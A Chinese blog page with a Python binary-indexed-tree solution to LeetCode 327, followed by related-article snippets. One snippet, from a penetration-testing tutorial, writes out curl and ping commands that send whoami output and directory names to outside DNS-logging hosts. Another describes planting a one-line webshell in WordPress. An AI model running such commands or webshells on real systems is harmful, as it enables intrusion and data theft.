Python | Leetcode Python题解之第327题区间和的个数

news2024/11/24 2:39:23

题目:

题解:

class Solution:
    def countRangeSum(self, nums: List[int], lower: int, upper: int) -> int:
        pre = list(accumulate(nums, initial=0))
        nums = sorted(pre)
        mx = len(nums)
        b = BIT(mx + 1)
        ans = 0
        # 统计[x-upper,x-lower]的个数
        for i, x in enumerate(pre):
            j = bisect_left(nums, x) + 1
            r = bisect_right(nums, x - lower)    # <= x - lower , 注意原先应该-1,但是下标从1开始再+1
            l = bisect_left(nums, x - upper)     # < x - lower , 注意原先应该-1,但是下标从1开始再+1
            ans += b.query(r) - b.query(l)
            b.add(j, 1)
        return ans

class BIT:
    def __init__(self, n: int):
        self.tree = [0] * n  # 树状数组
        self.original = [0] * n  # 原数组

    def update(self, i: int, val: int) -> None:
        self.original[i] = max(self.original[i], val)
        while i < len(self.tree):
            self.tree[i] = max(self.tree[i], val)
            i += i & -i

    def query_max(self, L: int, R: int) -> int:
        mx = 0
        while R >= L:
            r = R & (R - 1)
            # 查询先进行比较,看下一个r在不在查询范围内
            if r >= L:
                # 在查询范围内,直接从树状数组拿值比较
                mx = max(mx, self.tree[R])
                R = r
            else:
                # 只走一步,从原数组拿值比较
                mx = max(mx, self.original[R])
                R -= 1
        return mx

    # 统计 <= R 的元素个数
    def query(self, R: int) -> int:
        res = 0
        while R > 0:
            res += self.tree[R]
            R &= (R - 1)
        return res

    def add(self, i: int, val: int) -> None:
        while i < len(self.tree):
            self.tree[i] += val
            i += i & -i

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sql注入靶场搭建

1.安装小皮面板&#xff08;PhpStudy&#xff09; 1.从官网下载&#xff1a;http://www.xp.cn 2、Sqli-labs环境安装 准备好sqli-labs-php7-master文件 3.安装之前确保本地没有下载mysql服务器 如果电脑下载了MySQL可以把MySQL的服务停掉 此电脑>右键>管理>服务…

wordpress漏洞复现

首先打开环境 点击【外观】——>【编辑】选择404.php并将文件改为我们的一句话木马 然后我们访问刚刚修改的文件内容说明我们注入成功就可以了

k8s创建secret并在container中获取secret

k8s创建secret并在container中获取secret 本文使用的deployment和service与我的上一篇文章一样。link也放在下面了&#xff0c;如果不懂什么事deployment和service&#xff0c;可以先看我的上一篇文章。 k8s使用kustomize来部署应用 下面我们将通过创建secret开始。secret是我…

C++ exe程序内存占用分析之Linux篇

基础分析 git clone --recursive https://github.com/google/bloatycd bloatygit submodule updatemkdir buildcd buildcmake ..make -j8bloaty bloatyFILE SIZE VM SIZE -------------- --------------35.5% 16.9Mi 0.0% 0 .debug_info25.2% 12.0Mi…

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤&#xff08;5步&#xff09;&#xff0c;就像是之前递归一样&#xff0c;需要每次落实到位。 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…

在网页上进行 3D 产品展示的开发需要用到哪些器材和技术?

问题补充&#xff1a; 3D产品展示就是根据用户输入的数据&#xff0c;比如身高&#xff0c;体重&#xff0c;爱好等等的信息在网页上形成一个3D的人体模型&#xff0c;并根据网站的数据库自动为用户挑选合适的衣服并展示在生成的3D模型上。 在网页上进行3D产品展示的开发&…

在idea中将JDK17换成JDK8

五步&#xff1a;&#xff08;改五个地方&#xff09; pom文件&#xff1a; 1&#xff1a;SpringBoot版本改成2.多 2&#xff1a;jdk版本改成8 3&#xff1a;蓝框中的数字改成1.8. 4&#xff1a;SDK改成1.8 5&#xff1a;红框内数字改成8

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?

flipped-aurora/gin-vue-admin: &#x1f680;ViteVue3Gin的开发基础平台&#xff0c;支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…

HTML5+CSS3笔记(Xmind格式):第三天

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; 过渡 transition: 过渡属性 过渡时间 运动曲线 何时开始 2D变形transform &#xff1a; 1.平移&#xff1a;translate(单位px) 2.缩放&#xff1a;scale(默认1&#xff0c;大于1放大&#xff0c;小于1缩小) 3…

Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作

背景 最近&#xff0c;后台运维要求导出的 Excel文件&#xff0c;对于时间的筛选&#xff0c;能满足年份、月份的选择 通过了解&#xff0c;发现&#xff1a; 先前导出的文件&#xff0c;默认列数据都是字符串&#xff08;文本&#xff09;格式 同时&#xff0c;因为用的是 Lar…

H3C MSR NAT66配置指北

正文共&#xff1a;1456 字 14 图&#xff0c;预估阅读时间&#xff1a;1 分钟 通过前面的介绍&#xff08;企业路由器配置IPv6家用宽带的PPPoE拨号示例&#xff09;&#xff0c;想必你已经可以实现让MSR路由器通过PPPoE拨号接入IPv6网络。 正常来讲&#xff0c;通过前面的配置…

PLSQL 无客户端连接服务器设置

文章目录 1 概述1.1 使用场景 2 步骤2.1 下载 PLSQL 客户端2.2 观察 工具-首选项-OCI库&#xff08;自动检测为空&#xff09;2.3 下载 instantclient2.4 配置环境变量2.5 配置 PLSQL 3 测试 1 概述 1.1 使用场景 场景&#xff1a;只需要连接服务器上的 Oracle&#xff0c;而…

C++:多态二

在面向对象方法中&#xff0c;所谓多态性就是不同对象收到相同消息&#xff0c;产生不同的行为。在C程序设计中&#xff0c;多态性是指用一个名字定义不同的函数&#xff0c;这些函数执行不同但又类似的操作&#xff0c;这样就可以用同一个函数名调用不同内容的函数。换言之&am…

虚拟机ubuntu22.04找不到ttyUSB*端口

问题描述&#xff1a; 在虚拟机上运行Ubuntu22.04&#xff0c;使用 ls /dev/ttyUSB* 发现查不着不到相关的端口文件。 排查问题及解决办法&#xff1a; 问题1&#xff1a;排查数据线是否只是单纯的充电线&#xff0c;单纯充电线无法进行数据传输&#xff0c;需要替换为数据…

怎么申请IP SSL证书?

申请 IP SSL 证书的过程通常涉及以下几个步骤。下面是一个概括性的指南&#xff0c;具体细节可能会根据不同的证书颁发机构&#xff08;CA&#xff09;而有所不同。以下步骤是基于 JoySSL 的流程&#xff0c;但大部分 CA 的申请流程都会有类似的要求&#xff1a; 1、确认IP地址…

介绍一个基于Ring 3 的rootkit

首先先科普用户态内核态 两者的在指令上的区别 一般来说&#xff0c;ring0权限下开放的指令有&#xff1a;IO读写、网卡访问、申请内存、访问硬件资源。 一般来说&#xff0c;ring3权限下开放的指令有&#xff1a;普通的计算指令等 两者在空间权限的区别 用户态和内核态…

装修装饰行业4G/5G无线视频监控技术方案

目录 一、引言 二、技术优势 三、系统方案设计 1、系统架构 2、监控前端 3、监控中心 四、系统功能 1、基本功能 &#xff08;1&#xff09;实时视频监控 &#xff08;2&#xff09;录像存储回放 &#xff08;3&#xff09;报警联动 &#xff08;4&#xff09;语音…

超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)

​ FLUX.1模型是什么&#xff1f; FLUX模型是一个开源的AI图像生成模型&#xff0c;由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室&#xff08;Black Forest Labs&#xff09;由前Stability AI核心成员团队成立&#xff0c;专注于开发高级生成式…

脚本:自动生成精准的Oracle AWR报告

很多朋友把AWR报告发过来让我帮忙分析Oracle数据库的性能&#xff0c;但很多报告都有一个共同的缺陷&#xff1a;就是这些报告覆盖的时间范围太广&#xff0c;导致性能问题的数据被严重稀释。 英文原文&#xff1a;Script: Generating Focused AWR Reports 为了解决这个问题&a…